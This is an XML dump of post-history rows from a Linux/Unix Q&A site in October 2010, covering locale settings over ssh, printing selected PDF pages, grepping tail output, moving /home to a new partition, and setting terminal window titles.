  <row Id="6813" PostHistoryTypeId="1" PostId="3218" RevisionGUID="0d36d2b0-585c-4dec-8e7d-73f1b60fc713" CreationDate="2010-10-17T11:55:30.363" UserId="131" Text="ssh and character encoding" />
  <row Id="6814" PostHistoryTypeId="3" PostId="3218" RevisionGUID="0d36d2b0-585c-4dec-8e7d-73f1b60fc713" CreationDate="2010-10-17T11:55:30.363" UserId="131" Text="ésshàécharacteröencodingà" />
  <row Id="6815" PostHistoryTypeId="2" PostId="3219" RevisionGUID="92af5929-9cd2-41f1-b0fc-6cc546a0834e" CreationDate="2010-10-17T12:50:45.733" UserId="885" Text="Running the `locale` command will give you information about your locale settings; the character encoding is given by the `LC_CTYPE` setting.&#xD;&#xA;&#xD;&#xA;Under Ubuntu, the default locale settings are given in `/etc/default/locale`. You can change the character encoding by setting `LC_CTYPE` in your `~/.profile` on the VPS, e.g.&#xD;&#xA;&#xD;&#xA;    export LC_CTYPE=en_US.UTF-8&#xD;&#xA;&#xD;&#xA;You'll have to make sure that the `en_US.UTF-8` locale is available. Ubuntu only generates locale data for requested locales. All English locales should be available if you have the package `language-pack-en-base` installed. You can manually request their generation with&#xD;&#xA;&#xD;&#xA;    sudo locale-gen en&#xD;&#xA;&#xD;&#xA;You can also add entries to `/var/lib/locales/supported.d/local` to make sure a particular locale is installed (e.g., add the line `en_US.UTF-8 UTF-8`).&#xD;&#xA;" />
  <row Id="6817" PostHistoryTypeId="2" PostId="3220" RevisionGUID="611fab34-87b3-4be7-9b9d-f283f1338df3" CreationDate="2010-10-17T15:37:01.060" UserId="606" Text="    unsetopt automenu&#xD;&#xA;&#xD;&#xA;from `man zshoptions`:&#xD;&#xA;&gt; **AUTO_MENU** &lt;d&gt;&#xD;&#xA;&#xD;&#xA;&gt;    Automatically  use  menu completion after the second consecutive request for completion, for example  by  pressing  the  tab  key repeatedly. This option is overridden by **MENU_COMPLETE**." />
  <row Id="6818" PostHistoryTypeId="5" PostId="3216" RevisionGUID="ebfaf746-3a5e-497a-8c59-ce22deb42b20" CreationDate="2010-10-17T16:54:45.673" UserId="2320" Comment="added 3 characters in body" Text="In general, I want to make specific keymaps for application, that working only in it and doesn't affect any other app.&#xD;&#xA;&#xD;&#xA;For example, I already use my Caps key to toggle input language (via xorg.conf), but I want Capslock to behave like Esc in vim.&#xD;&#xA;Looks like xmodmap doesn't have any options related to that.&#xD;&#xA;&#xD;&#xA;I use Gnome and would also appreciate any third-party applications." />
  <row Id="6819" PostHistoryTypeId="2" PostId="3221" RevisionGUID="61880c0c-df77-4be4-96b3-416702d36d2e" CreationDate="2010-10-17T17:45:51.630" UserDisplayName="Wolf" Text="Is there a way to send a PDF file (or files) to the printer via the command line, but print only, say, odd-numbered pages? E.g., &lt;code&gt;lpr -{some option} *.pdf&lt;/code&gt; Or perhaps &lt;code&gt;{some command to get odd-numbered pages} *.pdf | lpr&lt;/code&gt;.  This would be faster than opening each file, opening the Print dialogue, and telling it to print pages 1, 3, 5, 7, 9... The idea is to print all odd pages, then I can print the even numbered pages on the other side of the paper." />
  <row Id="6820" PostHistoryTypeId="1" PostId="3221" RevisionGUID="61880c0c-df77-4be4-96b3-416702d36d2e" CreationDate="2010-10-17T17:45:51.630" UserDisplayName="Wolf" Text="How to print specific pages from the command line?" />
  <row Id="6821" PostHistoryTypeId="3" PostId="3221" RevisionGUID="61880c0c-df77-4be4-96b3-416702d36d2e" CreationDate="2010-10-17T17:45:51.630" UserDisplayName="Wolf" Text="éprintingà" />
  <row Id="6822" PostHistoryTypeId="2" PostId="3222" RevisionGUID="69bc9a7d-8388-4706-9c98-0a6a15047eef" CreationDate="2010-10-17T19:27:57.663" UserId="2323" Text="And to what extent does this card have support in Linux?" />
  <row Id="6823" PostHistoryTypeId="1" PostId="3222" RevisionGUID="69bc9a7d-8388-4706-9c98-0a6a15047eef" CreationDate="2010-10-17T19:27:57.663" UserId="2323" Text="Is the Zalman ZM-RSSC 5.1 USB Sound Card supported in Linux?" />
  <row Id="6824" PostHistoryTypeId="3" PostId="3222" RevisionGUID="69bc9a7d-8388-4706-9c98-0a6a15047eef" CreationDate="2010-10-17T19:27:57.663" UserId="2323" Text="éaudioà" />
  <row Id="6825" PostHistoryTypeId="2" PostId="3223" RevisionGUID="17661a6b-b1fc-451f-83f7-9e000a791040" CreationDate="2010-10-17T19:31:31.990" UserId="1941" Text="Try&#xD;&#xA;&#xD;&#xA;    lpr -o page-set=odd &lt;file&gt;&#xD;&#xA;    lpr -o page-set=even &lt;file&gt;&#xD;&#xA;&#xD;&#xA;You can find the documentation of this and other lpr options in the [cups documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cups.org/documentation.php/options.html" />
  <row Id="6826" PostHistoryTypeId="2" PostId="3224" RevisionGUID="362fea07-eb3a-410e-91a1-0ecdf4118f80" CreationDate="2010-10-17T19:48:46.863" UserId="1131" Text="An alternative to the cups solution by fschmitt - for example if you only have some limited lpr available - is the command [psselect][1].&#xD;&#xA;&#xD;&#xA;For example for manual duplex printing in a printer without a duplex unit:&#xD;&#xA;&#xD;&#xA;    $ psselect -e -r &lt; foo.ps | lpr&#xD;&#xA;    $ # manually rotate pages by 180 degrees and reinsert&#xD;&#xA;    $ psselect -o &lt; foo.ps | lpr&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Well, only works if your printer has a rock solid paper transport mechanism ...&#xD;&#xA;&#xD;&#xA;-e selects only the even pages, -o odd ones, and -r reverses the selection&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tardis.ed.ac.uk/~ajcd/psutils/psselect.html" />
  <row Id="6827" PostHistoryTypeId="2" PostId="3225" RevisionGUID="a5b2fc1c-2790-4a9b-a4d3-4e389430e740" CreationDate="2010-10-17T19:59:03.357" UserId="2323" Text="And to what extent does this card have support in Linux?" />
  <row Id="6828" PostHistoryTypeId="1" PostId="3225" RevisionGUID="a5b2fc1c-2790-4a9b-a4d3-4e389430e740" CreationDate="2010-10-17T19:59:03.357" UserId="2323" Text="Is the Creative Sound Blaster X-FI Surround 5.1 SB1090 USB sound card supported in Linux?" />
  <row Id="6829" PostHistoryTypeId="3" PostId="3225" RevisionGUID="a5b2fc1c-2790-4a9b-a4d3-4e389430e740" CreationDate="2010-10-17T19:59:03.357" UserId="2323" Text="éaudioà" />
  <row Id="6830" PostHistoryTypeId="2" PostId="3226" RevisionGUID="85fcd63a-b712-4de6-9f1b-4d12ac847ae4" CreationDate="2010-10-17T20:28:42.013" UserId="885" Text="If you choose to preprocess the PDF (for example because your printing framework is not CUPS and doesn't support page selection), you can do it with [pdftk](http://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/).&#xD;&#xA;&#xD;&#xA;    pdftk A=foo.pdf cat Aodd output - | lpr&#xD;&#xA;    # take out the sheets and feed them back in&#xD;&#xA;    pdftk A=foo.pdf cat Bend-1even output - | lpr&#xD;&#xA;&#xD;&#xA;Depending on how cheap your printer is, you may need to print the odd pages in reverse and the even pages in order: move `end-1` to the other command. If the document has an odd number of pages, take out the last page from the stack and don't feed it back in the second time.&#xD;&#xA;&#xD;&#xA;Of course, if your printer can print duplex, it's much better, not just because it's automated, but also (if it's a laser printer) because printing burns the paper, and the second time around, the paper is weakened and may be pierced.&#xD;&#xA;" />
  <row Id="6831" PostHistoryTypeId="2" PostId="3227" RevisionGUID="270c994b-2715-484b-9b69-21dedd705226" CreationDate="2010-10-18T00:32:56.157" UserId="366" Text="It exists, though the newer the better as far as this is concerned. The methods of getting it working in Ubuntu 8 &amp; 9 were kludgey, but worked. Strictly speaking, there is driver support. Whether or not the sound applications can use it may be another story." />
  <row Id="6832" PostHistoryTypeId="2" PostId="3228" RevisionGUID="d3ac8955-fa97-43f7-9583-50ddc2c325fb" CreationDate="2010-10-18T02:48:08.290" UserId="1707" Text="[Puppy Linux][1] and [Arch Linux][2] come to mind&#xD;&#xA;&#xD;&#xA;Arch is a pain to configure,but will give you the best performance you can get from any hardware&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://puppylinux.org/main/Overview%20and%20Getting%20Started.htm&#xD;&#xA;  [2]: http://www.archlinux.org" />
  <row Id="6833" PostHistoryTypeId="2" PostId="3229" RevisionGUID="42edb600-0380-46af-b2b3-e0bd6c51b031" CreationDate="2010-10-18T02:58:29.217" UserId="29" Text="is it possible to do a `tail -f` (or similar) on a file, and `grep` it at the same time? I wouldn't mind other commands just looking for that kind of behavior." />
  <row Id="6834" PostHistoryTypeId="1" PostId="3229" RevisionGUID="42edb600-0380-46af-b2b3-e0bd6c51b031" CreationDate="2010-10-18T02:58:29.217" UserId="29" Text="grep a tail -f?" />
  <row Id="6835" PostHistoryTypeId="3" PostId="3229" RevisionGUID="42edb600-0380-46af-b2b3-e0bd6c51b031" CreationDate="2010-10-18T02:58:29.217" UserId="29" Text="écommandölineàéshellà" />
  <row Id="6836" PostHistoryTypeId="2" PostId="3230" RevisionGUID="1bd658fa-7191-4873-975c-35d8937af6b3" CreationDate="2010-10-18T03:16:26.930" UserId="1207" Text="Using GNU `tail` and GNU `grep`, I am able to grep a tail -f using the straight-forward syntax:&#xD;&#xA;&#xD;&#xA;    tail -f /var/log/file.log | grep search_term&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6837" PostHistoryTypeId="2" PostId="3231" RevisionGUID="65b011ee-d314-4ce0-9f90-9d514d71b53c" CreationDate="2010-10-18T03:22:13.753" UserId="73" Text="It will work fine; more generally, `grep` will wait when a program isn't outputting, and keep reading as the output comes in, so if you do:&#xD;&#xA;&#xD;&#xA;    $ (echo foo; sleep 5; echo test; sleep 5) | grep test&#xD;&#xA;&#xD;&#xA;Nothing will happen for 5 seconds, then grep will output the matched &quot;test&quot;, and then five seconds later it will exit when the piped process does" />
  <row Id="6838" PostHistoryTypeId="2" PostId="3232" RevisionGUID="cf4f9cf6-9d1d-450f-91b7-fc01238314f2" CreationDate="2010-10-18T04:45:19.017" UserId="1571" Text="Is there a global setting to prevent all text editors from creating backup files? I'm sick of changing it in 11 different places." />
  <row Id="6839" PostHistoryTypeId="1" PostId="3232" RevisionGUID="cf4f9cf6-9d1d-450f-91b7-fc01238314f2" CreationDate="2010-10-18T04:45:19.017" UserId="1571" Text="Globally stop editors from creating ~ files" />
  <row Id="6840" PostHistoryTypeId="3" PostId="3232" RevisionGUID="cf4f9cf6-9d1d-450f-91b7-fc01238314f2" CreationDate="2010-10-18T04:45:19.017" UserId="1571" Text="éeditorsà" />
  <row Id="6844" PostHistoryTypeId="2" PostId="3235" RevisionGUID="4c64b75b-20f4-4618-b503-935c576f92e6" CreationDate="2010-10-18T08:22:15.817" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;While installing LINUX , it asks for 'mount point' selection, me given it as '/'  and i don't the exact meaning and aim of this.&#xD;&#xA;&#xD;&#xA;Also, now i want to create one more mount point , '/home' in my machine with already installed LINUX with mount point '/' . Is it possible to do that from my current LINUX? If yes , what are the steps(cum commands) ?&#xD;&#xA;&#xD;&#xA;My understanding of 'mount point'&#xD;&#xA;&#xD;&#xA;I need to preserve my '/home' contents in a safer way that it wont get deleted if my current LINUX get corrupted. ie by detaching and connecting the hard disk from the machine with corrupted LINUX to new machine , i should get my '/home' content&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6845" PostHistoryTypeId="1" PostId="3235" RevisionGUID="4c64b75b-20f4-4618-b503-935c576f92e6" CreationDate="2010-10-18T08:22:15.817" UserId="2269" Text="Concept of  'mount point' while installing LINUX " />
  <row Id="6846" PostHistoryTypeId="3" PostId="3235" RevisionGUID="4c64b75b-20f4-4618-b503-935c576f92e6" CreationDate="2010-10-18T08:22:15.817" UserId="2269" Text="élinuxàéinstallàébackupà" />
  <row Id="6847" PostHistoryTypeId="5" PostId="3235" RevisionGUID="a9b5ea2c-4580-43d5-ae48-74713a39f571" CreationDate="2010-10-18T08:28:34.537" UserId="2269" Comment="added 16 characters in body" Text="hi,&#xD;&#xA;&#xD;&#xA;While installing LINUX , it asks for 'mount point' selection, me given it as '/'  and i don't the exact meaning and aim of this.&#xD;&#xA;&#xD;&#xA;Also, now i want to create one more mount point , '/home' in my machine with already installed LINUX with mount point '/' . Is it possible to do that from my current LINUX? If yes , what are the steps(cum commands) ?&#xD;&#xA;&#xD;&#xA;My understanding of 'mount point' is ,&#xD;&#xA;&#xD;&#xA;When I need to preserve my '/home' contents in a safer way that it wont get deleted if my current LINUX get corrupted. ie by detaching and connecting the hard disk from the machine with corrupted LINUX to new LINUX machine , i should get my '/home' content&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6848" PostHistoryTypeId="5" PostId="3235" RevisionGUID="1144a3b1-27ea-4c9d-a978-0c0ebbcb2d26" CreationDate="2010-10-18T08:44:27.140" UserId="73" Comment="deleted 4 characters in body" Text="While installing Linux, it asks for a 'mount point' selection. I gave it `/`, but I don't know the exact meaning and aim of this.&#xD;&#xA;&#xD;&#xA;Also, now I want to create one more mount point, `/home` in my machine with the already installed Linux with mount point `/`. Is it possible to do that from my current Linux install? If yes, what are the steps/commands?&#xD;&#xA;&#xD;&#xA;My understanding of 'mount point' is, when I need to preserve my `/home` contents in a safer way that it wont get deleted if my current Linux get corrupted. For example, by detaching and connecting the hard disk from the machine with corrupted Linux to a new Linux machine, I should get my `/home` content&#xD;&#xA;" />
  <row Id="6850" PostHistoryTypeId="2" PostId="3237" RevisionGUID="82c810d1-9512-440d-a880-0d6476281aac" CreationDate="2010-10-18T08:58:03.187" UserId="2212" Text="An easier way, if you know how to program in python, might be for you to use an API available for python called **PYSERIAL** so that you don't have to worry about doing any of the dirty work of setting up flags or passing parameters to the driver that handles the serial port on your computer. Pyserial takes care of all this for you in the background.&#xD;&#xA;&#xD;&#xA;You would have to specify the baud rate at most, and leave the rest as default for a working serial connection between the 2 computers.&#xD;&#xA;&#xD;&#xA;The entire code for enabling such a connection could be at the most a few lines or half a page long." />
  <row Id="6851" PostHistoryTypeId="2" PostId="3238" RevisionGUID="53fbda01-1ff6-4bc2-85d3-8204688d5bd0" CreationDate="2010-10-18T09:13:01.997" UserId="1941" Text="The mount point specifies at which location in the directory hierarchy a device or disk partition appears. &#xD;&#xA;&#xD;&#xA;If you want to move `/home` to a new partition, you have to create a new partition for it, say `/dev/sda4` and format it, e.g. with ext4. Creating partitions and formatting them can be comfortably done using e.g. [gparted][1]. &#xD;&#xA;&#xD;&#xA;Then you have to copy the old contents to the new partition and modify `/etc/fstab` so `/home` points to the new partition. As root do something like this after having the partition created and formated:&#xD;&#xA;&#xD;&#xA;    $ mkdir /mnt/tmphome&#xD;&#xA;    $ mount /dev/sda4 /mnt/tmphome&#xD;&#xA;    $ cd /home/&#xD;&#xA;    $ find . -depth -print0 | cpio --null --sparse -pvd /mnt/tmphome/&#xD;&#xA;    $ umount /mnt/newhome&#xD;&#xA;    $ mv /home /old_home&#xD;&#xA;    $ mkdir /home&#xD;&#xA;    $ mount /dev/sda4 /home&#xD;&#xA;&#xD;&#xA;Now check if your system is still working correctly. If it does, add a line like this to `/etc/fstab`:&#xD;&#xA;&#xD;&#xA;    /dev/sda4 /home ext4    defaults        1 2&#xD;&#xA;&#xD;&#xA;and delete the backup in `/old_home`&#xD;&#xA;&#xD;&#xA;if however you find that something went wrong, you can move back by not adding respectively removing the above line in `/etc/fstab` and doing as root&#xD;&#xA;&#xD;&#xA;    $ umount /home&#xD;&#xA;    $ rmdir /home&#xD;&#xA;    $ mv /old_home /home&#xD;&#xA;&#xD;&#xA;This answer is inspired by the howto on http://embraceubuntu.com/2006/01/29/move-home-to-its-own-partition/&#xD;&#xA;&#xD;&#xA;  [1]: http://gparted.sourceforge.net/&#xD;&#xA;" />
  <row Id="6852" PostHistoryTypeId="5" PostId="3238" RevisionGUID="bdc39d1a-5cf3-4e13-a7db-6ed0d81a0d85" CreationDate="2010-10-18T09:40:37.047" UserId="1941" Comment="added 118 characters in body" Text="The mount point specifies at which location in the directory hierarchy a device or disk partition appears. &#xD;&#xA;&#xD;&#xA;If you want to move `/home` to a new partition, you have to create a new partition for it, say `/dev/sda4` and format it, e.g. with ext4. Creating partitions and formatting them can be comfortably done using e.g. [gparted][1]. &#xD;&#xA;&#xD;&#xA;Then you have to copy the old contents to the new partition and modify `/etc/fstab` so `/home` points to the new partition. As root do something like this after having the partition created and formated. Again I assume `/dev/sda4` for the partition, this is just an example and you have to use your real partition device:&#xD;&#xA;&#xD;&#xA;    $ mkdir /mnt/tmphome&#xD;&#xA;    $ mount /dev/sda4 /mnt/tmphome&#xD;&#xA;    $ cd /home/&#xD;&#xA;    $ find . -depth -print0 | cpio --null --sparse -pvd /mnt/tmphome/&#xD;&#xA;    $ umount /mnt/newhome&#xD;&#xA;    $ mv /home /old_home&#xD;&#xA;    $ mkdir /home&#xD;&#xA;    $ mount /dev/sda4 /home&#xD;&#xA;&#xD;&#xA;Now check if your system is still working correctly. If it does, add a line like this to `/etc/fstab`:&#xD;&#xA;&#xD;&#xA;    /dev/sda4 /home ext4    defaults        1 2&#xD;&#xA;&#xD;&#xA;and delete the backup in `/old_home`&#xD;&#xA;&#xD;&#xA;if however you find that something went wrong, you can move back by not adding respectively removing the above line in `/etc/fstab` and doing as root&#xD;&#xA;&#xD;&#xA;    $ umount /home&#xD;&#xA;    $ rmdir /home&#xD;&#xA;    $ mv /old_home /home&#xD;&#xA;&#xD;&#xA;This answer is inspired by the howto on http://embraceubuntu.com/2006/01/29/move-home-to-its-own-partition/&#xD;&#xA;&#xD;&#xA;  [1]: http://gparted.sourceforge.net/&#xD;&#xA;" />
  <row Id="6853" PostHistoryTypeId="2" PostId="3239" RevisionGUID="4cca7608-45af-4c15-b882-3c0202ad09e3" CreationDate="2010-10-18T10:09:03.197" UserId="1615" Text="I would like to install some software on a linux-machine that I have run in VirtualBox. Then I would like to do the same thing on a linux-VPS.&#xD;&#xA;&#xD;&#xA;I think that I can save all commands that I run using the `history` command. Is there any way I could run these commands on another machine? Or what is the way to do such things?" />
  <row Id="6854" PostHistoryTypeId="1" PostId="3239" RevisionGUID="4cca7608-45af-4c15-b882-3c0202ad09e3" CreationDate="2010-10-18T10:09:03.197" UserId="1615" Text="How can I reproduce commands run on one machine on another machine?" />
  <row Id="6855" PostHistoryTypeId="3" PostId="3239" RevisionGUID="4cca7608-45af-4c15-b882-3c0202ad09e3" CreationDate="2010-10-18T10:09:03.197" UserId="1615" Text="élinuxàécommandölineàécommandöhistoryà" />
  <row Id="6856" PostHistoryTypeId="2" PostId="3240" RevisionGUID="08db949f-fe4b-4c30-bb71-5880e2bd8e67" CreationDate="2010-10-18T10:17:47.000" UserId="2000" Text="Well, I imagine 2 situations here:&#xD;&#xA;&#xD;&#xA;1) If I need to run a small number of commands I would just run them again on any other machine (by small number I mean less then 10)&#xD;&#xA;&#xD;&#xA;2) If I need to run many commands I would put them into a bash script and run the script on all the other machines. The script should look like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    command 1&#xD;&#xA;    command 2&#xD;&#xA;    command 3&#xD;&#xA;    command 4&#xD;&#xA;&#xD;&#xA;If you are unsure about the outcome of some commands, you can separate the commands by `&amp;&amp;`, meaning that the next command will execute only if the previous was successful. `command1 &amp;&amp; command2` means that command2 will not be executed if command1 fails." />
  <row Id="6857" PostHistoryTypeId="5" PostId="3226" RevisionGUID="0ca23799-002f-4874-9198-aaa91dc56ba0" CreationDate="2010-10-18T10:35:08.280" UserId="885" Comment="removed bogus remark about feeding the paper twice" Text="If you choose to preprocess the PDF (for example because your printing framework is not CUPS and doesn't support page selection), you can do it with [pdftk](http://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/).&#xD;&#xA;&#xD;&#xA;    pdftk A=foo.pdf cat Aodd output - | lpr&#xD;&#xA;    # take out the sheets and feed them back in&#xD;&#xA;    pdftk A=foo.pdf cat Bend-1even output - | lpr&#xD;&#xA;&#xD;&#xA;Depending on how cheap your printer is, you may need to print the odd pages in reverse and the even pages in order: move `end-1` to the other command. If the document has an odd number of pages, take out the last page from the stack and don't feed it back in the second time.&#xD;&#xA;" />
  <row Id="6858" PostHistoryTypeId="2" PostId="3241" RevisionGUID="dbfa3673-037e-44e0-87a1-50ffa4929b5d" CreationDate="2010-10-18T11:01:46.360" UserId="1941" Text="Patkos is right, probably it is best to create a script. However, for this, sometimes you have to experiment around till you get it right and need some log of what you did and what was the outcome. Here the tool `script` comes in handy.&#xD;&#xA;&#xD;&#xA;It creates a record of all activity in the terminal it is running in:&#xD;&#xA;&#xD;&#xA;&gt; Script makes a typescript of everything printed on your terminal.  It is useful for students who need a hardcopy record of an interactive session as proof of an assignment, as the typescript file can be printed out later with lpr(1).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6859" PostHistoryTypeId="2" PostId="3242" RevisionGUID="78d1fd2c-96b7-4e65-9abb-10044df0e5a4" CreationDate="2010-10-18T11:31:23.247" UserId="2332" Text="http://docs.fabfile.org/0.9.2/ &lt;--- Nice replacement to scripts as it can take action if an step fails" />
  <row Id="6860" PostHistoryTypeId="2" PostId="3243" RevisionGUID="079f55d4-bc20-4a90-aca6-ec1c9f91e239" CreationDate="2010-10-18T11:44:43.217" UserId="2212" Text="I am using openbox and usually, I have a lot of windows on the screen. One window for the browser and a couple of windows to run a few terminals. The problem is that, when they are minimized, I am not able to figure out what I was doing in which terminal and having to open each terminal to check and see what I was doing is too cumbersome and time consuming. Not to mention, it also disrupts the flow of work. I mostly spend my time programming.&#xD;&#xA;&#xD;&#xA;So I thought, it would make sense to change the name of the window in the title bar so that I can see what I was doing in it even when it is minimized. But unfortunately, openbox does not provide an option to change the name in the title bar of the window or maybe it does and I don't know. I've googled and I couldn't find anything that could help me. &#xD;&#xA;&#xD;&#xA;I would like to know if there is a way to change the title of a window in its title bar so that I can see what I was doing in it, even when it is minimized.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="6861" PostHistoryTypeId="1" PostId="3243" RevisionGUID="079f55d4-bc20-4a90-aca6-ec1c9f91e239" CreationDate="2010-10-18T11:44:43.217" UserId="2212" Text="unable to change window name openbox" />
  <row Id="6862" PostHistoryTypeId="3" PostId="3243" RevisionGUID="079f55d4-bc20-4a90-aca6-ec1c9f91e239" CreationDate="2010-10-18T11:44:43.217" UserId="2212" Text="éwindowömanageràéopenboxà" />
  <row Id="6863" PostHistoryTypeId="2" PostId="3244" RevisionGUID="0a3503ba-d8b1-4a58-a26e-96d57aabe6b3" CreationDate="2010-10-18T12:20:47.647" UserId="1941" Text="You can tell xterm to change its Window title using escape sequences. Issuing the command&#xD;&#xA;&#xD;&#xA;    echo -n &quot;\033]0;${USER}@${HOST}\007&quot;&#xD;&#xA;&#xD;&#xA;e.g. sets the title to user name and hostname. Of course you can put between &quot;\033]0;&quot; and &quot;\007&quot; any static strings, command output or environment variables you want. See [the xterm title faq][1] for more details and ideas.&#xD;&#xA;&#xD;&#xA;This not only works for xterms but for many modern terminal emulators.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html" />
  <row Id="6864" PostHistoryTypeId="5" PostId="3244" RevisionGUID="3243f893-2388-4b25-881c-ab3b6abfa5bb" CreationDate="2010-10-18T12:33:15.407" UserId="1941" Comment="added 83 characters in body" Text="You can tell xterm to change its Window title using escape sequences. At least with Gnome, this is also reflected in the task bar. Issuing the command&#xD;&#xA;&#xD;&#xA;    echo -n &quot;\033]0;${USER}@${HOST}\007&quot;&#xD;&#xA;&#xD;&#xA;at the command prompt e.g. sets the title to user name and hostname. Of course you can put between &quot;\033]0;&quot; and &quot;\007&quot; any static strings, command output or environment variables you want. See [the xterm title faq][1] for more details and ideas.&#xD;&#xA;&#xD;&#xA;This not only works for xterms but for many modern terminal emulators.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html" />
  <row Id="6865" PostHistoryTypeId="2" PostId="3245" RevisionGUID="25860ba5-58f1-45aa-8dfd-898625b68c4a" CreationDate="2010-10-18T12:53:01.930" UserId="2333" Text="@ fschmitt : Thanks, that worked perfectly! (Sorry, I can't figure out how to comment instead of leaving a whole answer.)" />
  <row Id="6866" PostHistoryTypeId="5" PostId="3143" RevisionGUID="720a6071-f740-4d47-89fa-1c94f458ae17" CreationDate="2010-10-18T13:05:43.217" UserId="1325" Comment="added 404 characters in body; added 129 characters in body; added 136 characters in body" Text="Hi&#xD;&#xA; &#xD;&#xA; I am on the university machine trying to estimate the disk usage I have on my space I do&#xD;&#xA;&#xD;&#xA;    du -csh ./&#xD;&#xA;&#xD;&#xA;from the begining of my account, but an error is given that ./Yesterday/Yesterday is not a device, so I do &#xD;&#xA;&#xD;&#xA;    du -csh --exclude=&quot;Yes*&quot; ./&#xD;&#xA;&#xD;&#xA;and the error is stopped. But is there a more elegant way, and why is this error emerging? I can image how the Yesterday of Yesterday gets removed but whats the concepts behind the error.&#xD;&#xA;Best,&#xD;&#xA;&#xD;&#xA;1)using stat:&#xD;&#xA;&#xD;&#xA;[ratz]s0128943: stat Yesterday &#xD;&#xA;&#xD;&#xA;File: `Yesterday' &#xD;&#xA;&#xD;&#xA;Size: 12288 Blocks: 24 IO Block: 4096 directory &#xD;&#xA;&#xD;&#xA;Device: 1dh/29d &#xD;&#xA;&#xD;&#xA;Inode: 714342402 &#xD;&#xA;&#xD;&#xA;Links: 90 Access: (0745/drwxr--r-x) &#xD;&#xA;&#xD;&#xA;Uid: (35559/s0128943) &#xD;&#xA;&#xD;&#xA;Gid: (28065/ UNKNOWN) &#xD;&#xA;&#xD;&#xA;Access: 2010-10-15 13:06:07.000000000 +0100 &#xD;&#xA;&#xD;&#xA;Modify: 2010-10-15 13:06:07.000000000 +0100 &#xD;&#xA;&#xD;&#xA;Change: 2010-10-15 13:06:07.000000000 +0100&#xD;&#xA;&#xD;&#xA;2) using stat on Yesterday/Yesterday&#xD;&#xA;&#xD;&#xA;stat ./Yesterday/Yesterday &#xD;&#xA;&#xD;&#xA;stat: cannot stat `./Yesterday/Yesterday': No such device &#xD;&#xA;&#xD;&#xA;3) using uname for details&#xD;&#xA;&#xD;&#xA;[ratz]s0128943: uname -srv &#xD;&#xA;&#xD;&#xA;Linux 2.6.18-194.3.1.el5.inf.1 #1 SMP Fri May 21 12:59:58 BST 2010 &#xD;&#xA;&#xD;&#xA;" />
  <row Id="6867" PostHistoryTypeId="5" PostId="3143" RevisionGUID="196737e1-13be-45ff-ad01-451bd7a7bd23" CreationDate="2010-10-18T13:12:18.970" UserId="1325" Comment="answers to commments" Text="Hi&#xD;&#xA; &#xD;&#xA; I am on the university machine trying to estimate the disk usage I have on my space I do&#xD;&#xA;&#xD;&#xA;    du -csh ./&#xD;&#xA;&#xD;&#xA;from the begining of my account, but an error is given that ./Yesterday/Yesterday is not a device, so I do &#xD;&#xA;&#xD;&#xA;    du -csh --exclude=&quot;Yes*&quot; ./&#xD;&#xA;&#xD;&#xA;and the error is stopped. But is there a more elegant way, and why is this error emerging? I can image how the Yesterday of Yesterday gets removed but whats the concepts behind the error.&#xD;&#xA;Best,&#xD;&#xA;&#xD;&#xA;1)using stat:&#xD;&#xA;&#xD;&#xA;[ratz]s0128943: stat Yesterday &#xD;&#xA;&#xD;&#xA;File: `Yesterday' &#xD;&#xA;&#xD;&#xA;Size: 12288 Blocks: 24 IO Block: 4096 directory &#xD;&#xA;&#xD;&#xA;Device: 1dh/29d &#xD;&#xA;&#xD;&#xA;Inode: 714342402 &#xD;&#xA;&#xD;&#xA;Links: 90 Access: (0745/drwxr--r-x) &#xD;&#xA;&#xD;&#xA;Uid: (35559/s0128943) &#xD;&#xA;&#xD;&#xA;Gid: (28065/ UNKNOWN) &#xD;&#xA;&#xD;&#xA;Access: 2010-10-15 13:06:07.000000000 +0100 &#xD;&#xA;&#xD;&#xA;Modify: 2010-10-15 13:06:07.000000000 +0100 &#xD;&#xA;&#xD;&#xA;Change: 2010-10-15 13:06:07.000000000 +0100&#xD;&#xA;&#xD;&#xA;2) using stat on Yesterday/Yesterday&#xD;&#xA;&#xD;&#xA;stat ./Yesterday/Yesterday &#xD;&#xA;&#xD;&#xA;stat: cannot stat `./Yesterday/Yesterday': No such device &#xD;&#xA;&#xD;&#xA;3) using uname for details&#xD;&#xA;&#xD;&#xA;[ratz]s0128943: uname -srv &#xD;&#xA;&#xD;&#xA;Linux 2.6.18-194.3.1.el5.inf.1 #1 SMP Fri May 21 12:59:58 BST 2010 &#xD;&#xA;&#xD;&#xA;4)using df on Yesterday/&#xD;&#xA;&#xD;&#xA;[ratz]s0128943: df Yesterday/ &#xD;&#xA;&#xD;&#xA;Filesystem 1K-blocks Used Available &#xD;&#xA;&#xD;&#xA;Use% Mounted on AFS 9000000 0 9000000 0% /afs&#xD;&#xA;&#xD;&#xA;5) using df on Yesterday/Yesterday&#xD;&#xA;&#xD;&#xA;df Yesterday/Yesterday &#xD;&#xA;&#xD;&#xA;df: `Yesterday/Yesterday': No such device&#xD;&#xA;&#xD;&#xA;6) &quot;mount | grep Yesterday&quot; produces nothing " />
